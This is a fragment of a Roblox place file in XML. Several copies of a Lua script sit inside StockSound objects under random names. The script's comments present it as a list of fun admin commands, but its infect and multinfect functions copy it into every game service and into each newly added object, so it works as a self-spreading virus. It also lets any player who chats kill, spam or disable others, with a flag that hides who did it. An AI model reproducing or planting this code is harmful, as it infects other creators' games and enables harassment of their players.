if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="StockSound" referent="RBX937">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">sv1om4</string>
				<int name="PlayCount">-1</int>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><null></null></Content>
				<float name="Volume">0.5</float>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX938">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">w9bu5nlka</string>
					<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="SoundService" referent="RBX939">
		<Properties>
			<token name="AmbientReverb">0</token>
			<float name="DistanceFactor">10</float>
			<float name="DopplerScale">1</float>
			<string name="Name">SoundService</string>
			<float name="RolloffScale">1</float>
			<bool name="archivable">true</bool>
		</Properties>
		<External>RBX940</External>
		<External>RBX941</External>
		<External>RBX942</External>
		<External>RBX943</External>
		<External>RBX944</External>
		<External>RBX945</External>
		<External>RBX946</External>
		<External>RBX947</External>
		<External>RBX948</External>
		<External>RBX949</External>
		<External>RBX950</External>
		<External>RBX951</External>
		<External>RBX952</External>
		<External>RBX953</External>
		<Item class="StockSound" referent="RBX954">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">axygcjy4u</string>
				<int name="PlayCount">-1</int>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><null></null></Content>
				<float name="Volume">0.5</float>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX955">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">2iwih8</string>
					<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
